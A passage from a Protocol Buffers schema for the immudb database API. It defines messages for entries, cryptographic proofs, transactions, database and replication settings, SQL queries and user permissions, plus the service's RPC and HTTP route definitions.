sessionID = 1; // UUID of the server string serverUUID = 2; } //////////////////////////////////////////////////////// message Precondition { // Only succeed if given key exists message KeyMustExistPrecondition { // key to check bytes key = 1; } // Only succeed if given key does not exists message KeyMustNotExistPrecondition { // key to check bytes key = 1; } // Only succeed if given key was not modified after given transaction message KeyNotModifiedAfterTXPrecondition { // key to check bytes key = 1; // transaction id to check against uint64 txID = 2; } oneof precondition { KeyMustExistPrecondition keyMustExist = 1; KeyMustNotExistPrecondition keyMustNotExist = 2; KeyNotModifiedAfterTXPrecondition keyNotModifiedAfterTX = 3; } } message KeyValue { bytes key = 1; bytes value = 2; KVMetadata metadata = 3; } message Entry { // Transaction id at which the target value was set (i.e. not the reference transaction id) uint64 tx = 1; // Key of the target value (i.e. not the reference entry) bytes key = 2; // Value bytes value = 3; // If the request was for a reference, this field will keep information about the reference entry Reference referencedBy = 4; // Metadata of the target entry (i.e. not the reference entry) KVMetadata metadata = 5; // If set to true, this entry has expired and the value is not retrieved bool expired = 6; // Key's revision, in case of GetAt it will be 0 uint64 revision = 7; } message Reference { // Transaction if when the reference key was set uint64 tx = 1; // Reference key bytes key = 2; // At which transaction the key is bound, 0 if reference is not bound and should read the most recent reference uint64 atTx = 3; // Metadata of the reference entry KVMetadata metadata = 4; // Revision of the reference entry uint64 revision = 5; } message Op { oneof operation { // Modify / add simple KV value KeyValue kv = 1; // Modify / add sorted set entry ZAddRequest zAdd = 2; // Modify / add reference ReferenceRequest ref = 3; } } message ExecAllRequest { // List of operations to perform repeated Op Operations = 1; // If set to true, do not wait for indexing to process this transaction bool noWait = 2; // Preconditions to check repeated Precondition preconditions = 3; } message Entries { // List of entries repeated Entry entries = 1; } message ZEntry { // Name of the sorted set bytes set = 1; // Referenced key bytes key = 2; // Referenced entry Entry entry = 3; // Sorted set element's score double score = 4; // At which transaction the key is bound, // 0 if reference is not bound and should read the most recent reference uint64 atTx = 5; } message ZEntries { repeated ZEntry entries = 1; } message ScanRequest { // If not empty, continue scan at (when inclusiveSeek == true) // or after (when inclusiveSeek == false) that key bytes seekKey = 1; // stop at (when inclusiveEnd == true) // or before (when inclusiveEnd == false) that key bytes endKey = 7; // search for entries with this prefix only bytes prefix = 2; // If set to true, sort items in descending order bool desc = 3; // maximum number of entries to get, if not specified, the default value is used uint64 limit = 4; // If non-zero, only require transactions up to this transaction to be // indexed, newer transaction may still be pending uint64 sinceTx = 5; // Deprecated: If set to true, do not wait for indexing to be done before finishing this call bool noWait = 6; // If set to true, results will include seekKey bool inclusiveSeek = 8; // If set to true, results will include endKey if needed bool inclusiveEnd = 9; // Specify the initial entry to be returned by excluding the initial set of entries uint64 offset = 10; } message KeyPrefix { bytes prefix = 1; } message EntryCount { uint64 count = 1; } /////////////// message Signature { bytes publicKey = 1; bytes signature = 2; } message TxHeader { // Transaction ID uint64 id = 1; // State value (Accumulative Hash - Alh) of the previous transaction bytes prevAlh = 2; // Unix timestamp of the transaction (in seconds) int64 ts = 3; // Number of entries in a transaction int32 nentries = 4; // Entries Hash - cumulative hash of all entries in the transaction bytes eH = 5; // Binary linking tree transaction ID // (ID of last transaction already in the main Merkle Tree) uint64 blTxId = 6; // Binary linking tree root (Root hash of the Merkle Tree) bytes blRoot = 7; // Header version int32 version = 8; // Transaction metadata TxMetadata metadata = 9; } // TxMetadata contains metadata set to whole transaction message TxMetadata { // Entry expiration information uint64 truncatedTxID = 1; // Extra data bytes extra = 2; } // LinearProof contains the linear part of the proof (outside the main Merkle Tree) message LinearProof { // Starting transaction of the proof uint64 sourceTxId = 1; // End transaction of the proof uint64 TargetTxId = 2; // List of terms (inner hashes of transaction entries) repeated bytes terms = 3; } // LinearAdvanceProof contains the proof of consistency between the consumed part of the older linear chain // and the new Merkle Tree message LinearAdvanceProof { // terms for the linear chain repeated bytes linearProofTerms = 1; // inclusion proofs for steps on the linear chain repeated InclusionProof inclusionProofs = 2; } // DualProof contains inclusion and consistency proofs for dual Merkle-Tree + Linear proofs message DualProof { // Header of the source (earlier) transaction TxHeader sourceTxHeader = 1; // Header of the target (latter) transaction TxHeader targetTxHeader = 2; // Inclusion proof of the source transaction hash in the main Merkle Tree repeated bytes inclusionProof = 3; // Consistency proof between Merkle Trees in the source and target transactions repeated bytes consistencyProof = 4; // Accumulative hash (Alh) of the last transaction that's part of the target Merkle Tree bytes targetBlTxAlh = 5; // Inclusion proof of the targetBlTxAlh in the target Merkle Tree repeated bytes lastInclusionProof = 6; // Linear proof starting from targetBlTxAlh to the final state value LinearProof linearProof = 7; // Proof of consistency between some part of older linear chain and newer Merkle Tree LinearAdvanceProof LinearAdvanceProof = 8; } // DualProofV2 contains inclusion and consistency proofs message DualProofV2 { // Header of the source (earlier) transaction TxHeader sourceTxHeader = 1; // Header of the target (latter) transaction TxHeader targetTxHeader = 2; // Inclusion proof of the source transaction hash in the main Merkle Tree repeated bytes inclusionProof = 3; // Consistency proof between Merkle Trees in the source and target transactions repeated bytes consistencyProof = 4; } message Tx { // Transaction header TxHeader header = 1; // Raw entry values repeated TxEntry entries = 2; // KV entries in the transaction (parsed) repeated Entry kvEntries = 3; // Sorted Set entries in the transaction (parsed) repeated ZEntry zEntries = 4; } message TxEntry { // Raw key value (contains 1-byte prefix for kind of the key) bytes key = 1; // Value hash bytes hValue = 2; // Value length int32 vLen = 3; // Entry metadata KVMetadata metadata = 4; // value, must be ignored when len(value) == 0 and vLen > 0. // Otherwise sha256(value) must be equal to hValue. bytes value = 5; } message KVMetadata { // True if this entry denotes a logical deletion bool deleted = 1; // Entry expiration information Expiration expiration = 2; // If set to true, this entry will not be indexed and will only be accessed through GetAt calls bool nonIndexable = 3; } message Expiration { // Entry expiration time (unix timestamp in seconds) int64 expiresAt = 1; } message VerifiableTx { // Transaction to verify Tx tx = 1; // Proof for the transaction DualProof dualProof = 2; // Signature for the new state value Signature signature = 3; } message VerifiableTxV2 { // Transaction to verify Tx tx = 1; // Proof for the transaction DualProofV2 dualProof = 2; // Signature for the new state value Signature signature = 3; } ////////////////// message VerifiableEntry { // Entry to verify Entry entry = 1; // Transaction to verify VerifiableTx verifiableTx = 2; // Proof for inclusion of the entry within the transaction InclusionProof inclusionProof = 3; } message InclusionProof { // Index of the leaf for which the proof is generated int32 leaf = 1; // Width of the tree at the leaf level int32 width = 2; // Proof terms (selected hashes from the tree) repeated bytes terms = 3; } message SetRequest { // List of KV entries to set repeated KeyValue KVs = 1; // If set to true, do not wait for indexer to index ne entries bool noWait = 2; // Preconditions to be met to perform the write repeated Precondition preconditions = 3; } message KeyRequest { // Key to query for bytes key = 1; // If > 0, query for the value exactly at given transaction uint64 atTx = 2; // If 0 (and noWait=false), wait for the index to be up-to-date, // If > 0 (and noWait=false), wait for at lest the sinceTx transaction to be indexed uint64 sinceTx = 3; // If set to true - do not wait for any indexing update considering only the currently indexed state bool noWait = 4; // If > 0, get the nth version of the value, 1 being the first version, 2 being the second and so on // If < 0, get the historical nth value of the key, -1 being the previous version, -2 being the one before and so on int64 atRevision = 5; } message KeyListRequest { // List of keys to query for repeated bytes keys = 1; // If 0, wait for index to be up-to-date, // If > 0, wait for at least sinceTx transaction to be indexed uint64 sinceTx = 2; } message DeleteKeysRequest { // List of keys to delete logically repeated bytes keys = 1; // If 0, wait for index to be up-to-date, // If > 0, wait for at least sinceTx transaction to be indexed uint64 sinceTx = 2; // If set to true, do not wait for the indexer to index this operation bool noWait = 3; } message VerifiableSetRequest { // Keys to set SetRequest setRequest = 1; // When generating the proof, generate consistency proof with state from this transaction uint64 proveSinceTx = 2; } message VerifiableGetRequest { // Key to read KeyRequest keyRequest = 1; // When generating the proof, generate consistency proof with state from this transaction uint64 proveSinceTx = 2; } // ServerInfoRequest exists to provide extensibility for rpc ServerInfo. message ServerInfoRequest {} // ServerInfoResponse contains information about the server instance. message ServerInfoResponse { // The version of the server instance. string version = 1; // Unix timestamp (seconds) indicating when the server process has been started. int64 startedAt = 2; // Total number of transactions across all databases. int64 numTransactions = 3; // Total number of databases present. int32 numDatabases = 4; // Total disk size used by all databases. int64 databasesDiskSize = 5; } message HealthResponse { // If true, server considers itself to be healthy bool status = 1; // The version of the server instance string version = 2; } message DatabaseHealthResponse { // Number of requests currently being executed uint32 pendingRequests = 1; // Timestamp at which the last request was completed int64 lastRequestCompletedAt = 2; } message ImmutableState { // The db name string db = 1; // Id of the most recent transaction uint64 txId = 2; // State of the most recent transaction bytes txHash = 3; // Signature of the hash Signature signature = 4; // following fields are not part of the signature // Id of the most recent precommitted transaction uint64 precommittedTxId = 5; // State of the most recent precommitted transaction bytes precommittedTxHash = 6; } message ReferenceRequest { // Key for the reference bytes key = 1; // Key to be referenced bytes referencedKey = 2; // If boundRef == true, id of transaction to bind with the reference uint64 atTx = 3; // If true, bind the reference to particular transaction, // if false, use the most recent value of the key bool boundRef = 4; // If true, do not wait for the indexer to index this write operation bool noWait = 5; // Preconditions to be met to perform the write repeated Precondition preconditions = 6; } message VerifiableReferenceRequest { // Reference data ReferenceRequest referenceRequest = 1; // When generating the proof, generate consistency proof with state from this // transaction uint64 proveSinceTx = 2; } message ZAddRequest { // Name of the sorted set bytes set = 1; // Score of the new entry double score = 2; // Referenced key bytes key = 3; // If boundRef == true, id of the transaction to bind with the reference uint64 atTx = 4; // If true, bind the reference to particular transaction, if false, use the // most recent value of the key bool boundRef = 5; // If true, do not wait for the indexer to index this write operation bool noWait = 6; } message Score { // Entry's score value double score = 1; } message ZScanRequest { // Name of the sorted set bytes set = 1; // Key to continue the search at bytes seekKey = 2; // Score of the entry to continue the search at double seekScore = 3; // AtTx of the entry to continue the search at uint64 seekAtTx = 4; // If true, include the entry given with the `seekXXX` attributes, if false, // skip the entry and start after that one bool inclusiveSeek = 5; // Maximum number of entries to return, if 0, the default limit will be used uint64 limit = 6; // If true, scan entries in descending order bool desc = 7; // Minimum score of entries to scan Score minScore = 8; // Maximum score of entries to scan Score maxScore = 9; // If > 0, do not wait for the indexer to index all entries, only require // entries up to sinceTx to be indexed uint64 sinceTx = 10; // Deprecated: If set to true, do not wait for the indexer to be up to date bool noWait = 11; // Specify the index of initial entry to be returned by excluding the initial // set of entries (alternative to seekXXX attributes) uint64 offset = 12; } message HistoryRequest { // Name of the key to query for the history bytes key = 1; // Specify the initial entry to be returned by excluding the initial set of // entries uint64 offset = 2; // Maximum number of entries to return int32 limit = 3; // If true, search in descending order bool desc = 4; // If > 0, do not wait for the indexer to index all entries, only require // entries up to sinceTx to be indexed uint64 sinceTx = 5; } message VerifiableZAddRequest { // Data for new sorted set entry ZAddRequest zAddRequest = 1; // When generating the proof, generate consistency proof with state from this transaction uint64 proveSinceTx = 2; } message TxRequest { // Transaction id to query for uint64 tx = 1; // Specification for parsing entries, if empty, entries are returned in raw form EntriesSpec entriesSpec = 2; // If > 0, do not wait for the indexer to index all entries, only require // entries up to sinceTx to be indexed, will affect resolving references uint64 sinceTx = 3; // Deprecated: If set to true, do not wait for the indexer to be up to date bool noWait = 4; // If set to true, do not resolve references (avoid looking up final values if not needed) bool keepReferencesUnresolved = 5; } message EntriesSpec { // Specification for parsing KV entries EntryTypeSpec kvEntriesSpec = 1; // Specification for parsing sorted set entries EntryTypeSpec zEntriesSpec = 2; // Specification for parsing SQL entries EntryTypeSpec sqlEntriesSpec = 3; } message EntryTypeSpec { // Action to perform on entries EntryTypeAction action = 1; } enum EntryTypeAction { // Exclude entries from the result EXCLUDE = 0; // Provide keys in raw (unparsed) form and only the digest of the value ONLY_DIGEST = 1; // Provide keys and values in raw form RAW_VALUE = 2; // Provide parsed keys and values and resolve values if needed RESOLVE = 3; } message VerifiableTxRequest { // Transaction ID uint64 tx = 1; // When generating the proof, generate consistency proof with state from this // transaction uint64 proveSinceTx = 2; // Specification of how to parse entries EntriesSpec entriesSpec = 3; // If > 0, do not wait for the indexer to index all entries, only require // entries up to sinceTx to be indexed, will affect resolving references uint64 sinceTx = 4; // Deprecated: If set to true, do not wait for the indexer to be up to date bool noWait = 5; // If set to true, do not resolve references (avoid looking up final values if not needed) bool keepReferencesUnresolved = 6; } message TxScanRequest { // ID of the transaction where scanning should start uint64 initialTx = 1; // Maximum number of transactions to scan, when not specified the default limit is used uint32 limit = 2; // If set to true, scan transactions in descending order bool desc = 3; // Specification of how to parse entries EntriesSpec entriesSpec = 4; // If > 0, do not wait for the indexer to index all entries, only require // entries up to sinceTx to be indexed, will affect resolving references uint64 sinceTx = 5; // Deprecated: If set to true, do not wait for the indexer to be up to date bool noWait = 6; } message TxList { // List of transactions repeated Tx txs = 1; } message ExportTxRequest { // Id of transaction to export uint64 tx = 1; // If set to true, non-committed transactions can be exported bool allowPreCommitted = 2; // Used on synchronous replication to notify the primary about replica state ReplicaState replicaState = 3; // If set to true, integrity checks are skipped when reading data bool skipIntegrityCheck = 4; } message ReplicaState { string UUID = 1; uint64 committedTxID = 2; bytes committedAlh = 3; uint64 precommittedTxID = 4; bytes precommittedAlh = 5; } message Database { // Name of the database string databaseName = 1; } message DatabaseSettings { // Name of the database string databaseName = 1; // If set to true, this database is replicating another database bool replica = 2; // Name of the database to replicate string primaryDatabase = 3; // Hostname of the immudb instance with database to replicate string primaryHost = 4; // Port of the immudb instance with database to replicate uint32 primaryPort = 5; // Username of the user with read access of the database to replicate string primaryUsername = 6; // Password of the user with read access of the database to replicate string primaryPassword = 7; // Size of files stored on disk uint32 fileSize = 8; // Maximum length of keys uint32 maxKeyLen = 9; // Maximum length of values uint32 maxValueLen = 10; // Maximum number of entries in a single transaction uint32 maxTxEntries = 11; // If set to true, do not include commit timestamp in transaction headers bool excludeCommitTime = 12; } message CreateDatabaseRequest { // Database name string name = 1; // Database settings DatabaseNullableSettings settings = 2; // If set to true, do not fail if the database already exists bool ifNotExists = 3; } message CreateDatabaseResponse { // Database name string name = 1; // Current database settings DatabaseNullableSettings settings = 2; // Set to true if given database already existed bool alreadyExisted = 3; } message UpdateDatabaseRequest { // Database name string database = 1; // Updated settings DatabaseNullableSettings settings = 2; } // Reserved to reply with more advanced response later message UpdateDatabaseResponse { // Database name string database = 1; // Current database settings DatabaseNullableSettings settings = 2; } message DatabaseSettingsRequest {} message DatabaseSettingsResponse { // Database name string database = 1; // Database settings DatabaseNullableSettings settings = 2; } message NullableUint32 { uint32 value = 1; } message NullableUint64 { uint64 value = 1; } message NullableFloat { float value = 1; } message NullableBool { bool value = 1; } message NullableString { string value = 1; } message NullableMilliseconds { int64 value = 1; } message DatabaseNullableSettings { // Replication settings ReplicationNullableSettings replicationSettings = 2; // Max filesize on disk NullableUint32 fileSize = 8; // Maximum length of keys NullableUint32 maxKeyLen = 9; // Maximum length of values NullableUint32 maxValueLen = 10; // Maximum number of entries in a single transaction NullableUint32 maxTxEntries = 11; // If set to true, do not include commit timestamp in transaction headers NullableBool excludeCommitTime = 12; // Maximum number of simultaneous commits prepared for write NullableUint32 maxConcurrency = 13; // Maximum number of simultaneous IO writes NullableUint32 maxIOConcurrency = 14; // Size of the cache for transaction logs NullableUint32 txLogCacheSize = 15; // Maximum number of simultaneous value files opened NullableUint32 vLogMaxOpenedFiles = 16; // Maximum number of simultaneous transaction log files opened NullableUint32 txLogMaxOpenedFiles = 17; // Maximum number of simultaneous commit log files opened NullableUint32 commitLogMaxOpenedFiles = 18; // Index settings IndexNullableSettings indexSettings = 19; // Version of transaction header to use (limits available features) NullableUint32 writeTxHeaderVersion = 20; // If set to true, automatically load the database when starting immudb (true by default) NullableBool autoload = 21; // Size of the pool of read buffers NullableUint32 readTxPoolSize = 22; // Fsync frequency during commit process NullableMilliseconds syncFrequency = 23; // Size of the in-memory buffer for write operations NullableUint32 writeBufferSize = 24; // Settings of Appendable Hash Tree AHTNullableSettings ahtSettings = 25; // Maximum number of pre-committed transactions NullableUint32 maxActiveTransactions = 26; // Limit the number of read entries per transaction NullableUint32 mvccReadSetLimit = 27; // Size of the cache for value logs NullableUint32 vLogCacheSize = 28; // Truncation settings TruncationNullableSettings truncationSettings = 29; // If set to true, values are stored together with the transaction header (true by default) NullableBool embeddedValues = 30; // Enable file preallocation NullableBool preallocFiles = 31; } message ReplicationNullableSettings { // If set to true, this database is replicating another database NullableBool replica = 1; // Name of the database to replicate NullableString primaryDatabase = 2; // Hostname of the immudb instance with database to replicate NullableString primaryHost = 3; // Port of the immudb instance with database to replicate NullableUint32 primaryPort = 4; // Username of the user with read access of the database to replicate NullableString primaryUsername = 5; // Password of the user with read access of the database to replicate NullableString primaryPassword = 6; // Enable synchronous replication NullableBool syncReplication = 7; // Number of confirmations from synchronous replicas required to commit a transaction NullableUint32 syncAcks = 8; // Maximum number of prefetched transactions NullableUint32 prefetchTxBufferSize = 9; // Number of concurrent replications NullableUint32 replicationCommitConcurrency = 10; // Allow precommitted transactions to be discarded if the replica diverges from the primary NullableBool allowTxDiscarding = 11; // Disable integrity check when reading data during replication NullableBool skipIntegrityCheck = 12; // Wait for indexing to be up to date during replication NullableBool waitForIndexing = 13; } message TruncationNullableSettings { // Retention Period for data in the database NullableMilliseconds retentionPeriod = 1; // Truncation Frequency for the database NullableMilliseconds truncationFrequency = 2; } message IndexNullableSettings { // Number of new index entries between disk flushes NullableUint32 flushThreshold = 1; // Number of new index entries between disk flushes with file sync NullableUint32 syncThreshold = 2; // Size of the Btree node cache in bytes NullableUint32 cacheSize = 3; // Max size of a single Btree node in bytes NullableUint32 maxNodeSize = 4; // Maximum number of active btree snapshots NullableUint32 maxActiveSnapshots = 5; // Time in milliseconds between the most recent DB snapshot is automatically renewed NullableUint64 renewSnapRootAfter = 6; // Minimum number of updates entries in the btree to allow for full compaction NullableUint32 compactionThld = 7; // Additional delay added during indexing when full compaction is in progress NullableUint32 delayDuringCompaction = 8; // Maximum number of simultaneously opened nodes files NullableUint32 nodesLogMaxOpenedFiles = 9; // Maximum number of simultaneously opened node history files NullableUint32 historyLogMaxOpenedFiles = 10; // Maximum number of simultaneously opened commit log files NullableUint32 commitLogMaxOpenedFiles = 11; // Size of the in-memory flush buffer (in bytes) NullableUint32 flushBufferSize = 12; // Percentage of node files cleaned up during each flush NullableFloat cleanupPercentage = 13; // Maximum number of transactions indexed together NullableUint32 maxBulkSize = 14; // Maximum time waiting for more transactions to be committed and included into the same bulk NullableMilliseconds bulkPreparationTimeout = 15; } message AHTNullableSettings { // Number of new leaves in the tree between synchronous flush to disk NullableUint32 syncThreshold = 1; // Size of the in-memory write buffer NullableUint32 writeBufferSize = 2; } message LoadDatabaseRequest { // Database name string database = 1; // may add createIfNotExist } message LoadDatabaseResponse { // Database name string database = 1; // may add settings } message UnloadDatabaseRequest { // Database name string database = 1; } message UnloadDatabaseResponse { // Database name string database = 1; } message DeleteDatabaseRequest { // Database name string database = 1; } message DeleteDatabaseResponse { // Database name string database = 1; } message FlushIndexRequest { // Percentage of nodes file to cleanup during flush float cleanupPercentage = 1; // If true, do a full disk sync after the flush bool synced = 2; } message FlushIndexResponse { // Database name string database = 1; } message Table { // Table name string tableName = 1; } message SQLGetRequest { // Table name string table = 1; // Values of the primary key repeated SQLValue pkValues = 2; // Id of the transaction at which the row was added / modified uint64 atTx = 3; // If > 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed uint64 sinceTx = 4; } message VerifiableSQLGetRequest { // Data of row to query SQLGetRequest sqlGetRequest = 1; // When generating the proof, generate consistency proof with state from this transaction uint64 proveSinceTx = 2; } message SQLEntry { // Id of the transaction when the row was added / modified uint64 tx = 1; // Raw key of the row bytes key = 2; // Raw value of the row bytes value = 3; // Metadata of the raw value KVMetadata metadata = 4; } message VerifiableSQLEntry { reserved 6; // Raw row entry data SQLEntry sqlEntry = 1; // Verifiable transaction of the row VerifiableTx verifiableTx = 2; // Inclusion proof of the row in the transaction InclusionProof inclusionProof = 3; // Internal ID of the database (used to validate raw entry values) uint32 DatabaseId = 4; // Internal ID of the table (used to validate raw entry values) uint32 TableId = 5; // Internal IDs of columns for the primary key (used to validate raw entry values) repeated uint32 PKIDs = 16; // Mapping of used column IDs to their names map ColNamesById = 8; // Mapping of column names to their IDS map ColIdsByName = 9; // Mapping of column IDs to their types map ColTypesById = 10; // Mapping of column IDs to their length constraints map ColLenById = 11; // Variable is used to assign unique ids to new columns as they are created uint32 MaxColId = 12; } message UseDatabaseReply { // Deprecated: database access token string token = 1; } enum PermissionAction { // Grant permission GRANT = 0; // Revoke permission REVOKE = 1; } message ChangePermissionRequest { // Action to perform PermissionAction action = 1; // Name of the user to update string username = 2; // Name of the database string database = 3; // Permission to grant / revoke: 1 - read only, 2 - read/write, 254 - admin uint32 permission = 4; } message ChangeSQLPrivilegesRequest { // Action to perform PermissionAction action = 1; // Name of the user to update string username = 2; // Name of the database string database = 3; // SQL privileges: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER repeated string privileges = 4; } message ChangeSQLPrivilegesResponse {} message SetActiveUserRequest { // If true, the user is active bool active = 1; // Name of the user to activate / deactivate string username = 2; } message DatabaseListResponse { // Database list repeated Database databases = 1; } message DatabaseListRequestV2 {} message DatabaseListResponseV2 { // Database list with current database settings repeated DatabaseInfo databases = 1; } message DatabaseInfo { // Database name string name = 1; // Current database settings DatabaseNullableSettings settings = 2; // If true, this database is currently loaded into memory bool loaded = 3; // database disk size uint64 diskSize = 4; // total number of transactions uint64 numTransactions = 5; // the time when the db was created uint64 created_at = 6; // the user who created the database string created_by = 7; } message Chunk { bytes content = 1; map metadata = 2; } message UseSnapshotRequest { uint64 sinceTx = 1; uint64 asBeforeTx = 2; } message SQLExecRequest { // SQL query string sql = 1; // Named query parameters repeated NamedParam params = 2; // If true, do not wait for the indexer to index written changes bool noWait = 3; } message SQLQueryRequest { // SQL query string sql = 1; // Named query parameters repeated NamedParam params = 2; // If true, reuse previously opened snapshot bool reuseSnapshot = 3 [deprecated = true]; // Wheter the client accepts a streaming response bool acceptStream = 4; } message NamedParam { // Parameter name string name = 1; // Parameter value SQLValue value = 2; } message SQLExecResult { // List of committed transactions as a result of the exec operation repeated CommittedSQLTx txs = 5; // If true, there's an ongoing transaction after exec completes bool ongoingTx = 6; } message CommittedSQLTx { // Transaction header TxHeader header = 1; // Number of updated rows uint32 updatedRows = 2; // The value of last inserted auto_increment primary key (mapped by table name) map lastInsertedPKs = 3; // The value of first inserted auto_increment primary key (mapped by table name) map firstInsertedPKs = 4; } message SQLQueryResult { // Result columns description repeated Column columns = 2; // Result rows repeated Row rows = 1; } message Column { // Column name string name = 1; // Column type string type = 2; } message Row { // Column names repeated string columns = 1; // Column values repeated SQLValue values = 2; } message SQLValue { oneof value { google.protobuf.NullValue null = 1; int64 n = 2; string s = 3; bool b = 4; bytes bs = 5; int64 ts = 6; double f = 7; } } enum TxMode { // Read-only transaction ReadOnly = 0; // Write-only transaction WriteOnly = 1; // Read-write transaction ReadWrite = 2; } message NewTxRequest { // Transaction mode TxMode mode = 1; // An existing snapshot may be reused as long as it includes the specified transaction // If not specified it will include up to the latest precommitted transaction NullableUint64 snapshotMustIncludeTxID = 2; // An existing snapshot may be reused as long as it is not older than the specified timeframe NullableMilliseconds snapshotRenewalPeriod = 3; // Indexing may not be up to date when doing MVCC bool unsafeMVCC = 4; } message NewTxResponse { // Internal transaction ID string transactionID = 1; } message ErrorInfo { // Error code string code = 1; // Error Description string cause = 2; } message DebugInfo { // Stack trace when the error was noticed string stack = 1; } message RetryInfo { // Number of milliseconds after which the request can be retried int32 retry_delay = 1; } message TruncateDatabaseRequest { // Database name string database = 1; // Retention Period of data int64 retentionPeriod = 2; } message TruncateDatabaseResponse { // Database name string database = 1; } // immudb gRPC & REST service service ImmuService { rpc ListUsers(google.protobuf.Empty) returns (UserList) { option (google.api.http) = { get: "/user/list" }; } rpc CreateUser(CreateUserRequest) returns (google.protobuf.Empty) { option (google.api.http) = { post: "/user" body: "*" }; } rpc ChangePassword(ChangePasswordRequest) returns (google.protobuf.Empty) { option (google.api.http) = { post: "/user/password/change" body: "*" }; } rpc ChangePermission(ChangePermissionRequest) returns (google.protobuf.Empty) { option (google.api.http) = { post: "/user/changepermission" body: "*" }; } rpc ChangeSQLPrivileges(ChangeSQLPrivilegesRequest) returns (ChangeSQLPrivilegesResponse) { option (google.api.http) = { post: "/user/changesqlprivileges" body: "*" }; } rpc SetActiveUser(SetActiveUserRequest) returns (google.protobuf.Empty) { option (google.api.http) = { post: "/user/setactiveUser" body: "*" }; } rpc UpdateAuthConfig(AuthConfig) returns (google.protobuf.Empty) { option deprecated = true; } // DEPRECATED rpc UpdateMTLSConfig(MTLSConfig) returns (google.protobuf.Empty) { option deprecated = true; } // DEPRECATED rpc OpenSession(OpenSessionRequest) returns (OpenSessionResponse) {} rpc CloseSession(google.protobuf.Empty) returns (google.protobuf.Empty) {} rpc KeepAlive(google.protobuf.Empty) returns (google.protobuf.Empty) {} rpc NewTx(NewTxRequest) returns (NewTxResponse) {} rpc Commit(google.protobuf.Empty) returns (CommittedSQLTx) {} rpc Rollback(google.protobuf.Empty) returns (google.protobuf.Empty) {} rpc TxSQLExec(SQLExecRequest) returns (google.protobuf.Empty) {} rpc TxSQLQuery(SQLQueryRequest) returns (stream SQLQueryResult) {} rpc Login(LoginRequest) returns (LoginResponse) { option deprecated = true; option (google.api.http) = { post: "/login" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { security: {} // no security }; } rpc Logout(google.protobuf.Empty) returns (google.protobuf.Empty) { option deprecated = true; option (google.api.http) = { post: "/logout" body: "*" }; } rpc Set(SetRequest) returns (TxHeader) { option (google.api.http) = { post: "/db/set" body: "*" }; } rpc VerifiableSet(VerifiableSetRequest) returns (VerifiableTx) { option (google.api.http) = { post: "/db/verifiable/set" body: "*" }; } rpc Get(KeyRequest) returns (Entry) { option (google.api.http) = { get: "/db/get/{key}" }; } rpc VerifiableGet(VerifiableGetRequest) returns (VerifiableEntry) { option (google.api.http) = { post: "/db/verifiable/get" body: "*" }; } rpc Delete(DeleteKeysRequest) returns (TxHeader) { option (google.api.http) = { post: "/db/deletekey" body: "*" }; } rpc GetAll(KeyListRequest) returns (Entries) { option (google.api.http) = { post: "/db/getall" body: "*" }; } rpc ExecAll(ExecAllRequest) returns (TxHeader) { option (google.api.http) = { post: "/db/execall" body: "*" }; } rpc Scan(ScanRequest) returns (Entries) { option (google.api.http) = { post: "/db/scan" body: "*" }; } // NOT YET SUPPORTED rpc Count(KeyPrefix) returns (EntryCount) { option (google.api.http) = { get: "/db/count/{prefix}" }; } // NOT YET SUPPORTED rpc CountAll(google.protobuf.Empty) returns (EntryCount) { option (google.api.http) = { get: "/db/countall" }; } rpc TxById(TxRequest) returns (Tx) { option (google.api.http) = { get: "/db/tx/{tx}" }; } rpc VerifiableTxById(VerifiableTxRequest) returns (VerifiableTx) { option (google.api.http) = { get: "/db/verifiable/tx/{tx}" }; } rpc TxScan(TxScanRequest) returns (TxList) { option (google.api.http) = { post: "/db/tx" body: "*" }; } rpc History(HistoryRequest) returns (Entries) { option (google.api.http) = { post: "/db/history" body: "*" }; } // ServerInfo returns information about the server instance. // ServerInfoRequest is defined for future extensions. rpc ServerInfo(ServerInfoRequest) returns (ServerInfoResponse) { option (google.api.http) = { get: "/serverinfo" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { security: {} // no security }; } // DEPRECATED: Use ServerInfo rpc Health(google.protobuf.Empty) returns (HealthResponse) { option (google.api.http) = { get: "/health" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { security: {} // no security }; } rpc DatabaseHealth(google.protobuf.Empty) returns (DatabaseHealthResponse) { option (google.api.http) = { get: "/db/health" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { security: {} // no security }; } rpc CurrentState(google.protobuf.Empty) returns (ImmutableState) { option (google.api.http) = { get: "/db/state" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { security: {} // no security }; } rpc SetReference(ReferenceRequest) returns (TxHeader) { option (google.api.http) = { post: "/db/setreference" body: "*" }; } rpc VerifiableSetReference(VerifiableReferenceRequest) returns (VerifiableTx) { option (google.api.http) = { post: "/db/verifiable/setreference" body: "*" }; } rpc ZAdd(ZAddRequest) returns (TxHeader) { option (google.api.http) = { post: "/db/zadd" body: "*" }; } rpc VerifiableZAdd(VerifiableZAddRequest) returns (VerifiableTx) { option (google.api.http) = { post: "/db/verifiable/zadd" body: "*" }; } rpc ZScan(ZScanRequest) returns (ZEntries) { option (google.api.http) = { post: "/db/zscan" body: "*" }; } // DEPRECATED: Use CreateDatabaseV2 rpc CreateDatabase(Database) returns (google.protobuf.Empty) { option deprecated = true; option (google.api.http) = { post: "/db/create" body: "*" }; } // DEPRECATED: Use CreateDatabaseV2 rpc CreateDatabaseWith(DatabaseSettings) returns (google.protobuf.Empty) { option deprecated = true; option (google.api.http) = { post: "/db/createwith" body: "*" }; } rpc CreateDatabaseV2(CreateDatabaseRequest) returns (CreateDatabaseResponse) { option (google.api.http) = { post: "/db/create/v2" body: "*" }; } rpc LoadDatabase(LoadDatabaseRequest) returns (LoadDatabaseResponse) { option (google.api.http) = { post: "/db/load" body: "*" }; } rpc UnloadDatabase(UnloadDatabaseRequest) returns (UnloadDatabaseResponse) { option (google.api.http) = { post: "/db/unload" body: "*" }; } rpc DeleteDatabase(DeleteDatabaseRequest) returns (DeleteDatabaseResponse) { option (google.api.http) = { post: "/db/delete" body: "*" }; } // DEPRECATED: Use DatabaseListV2 rpc DatabaseList(google.protobuf.Empty) returns (DatabaseListResponse) { option deprecated = true; option (google.api.http) = { post: "/db/list" body: "*" }; } rpc DatabaseListV2(DatabaseListRequestV2) returns (DatabaseListResponseV2) { option (google.api.http) = { post: "/db/list/v2" body: "*" }; } rpc UseDatabase(Database) returns (UseDatabaseReply) { option (google.api.http) = { get: 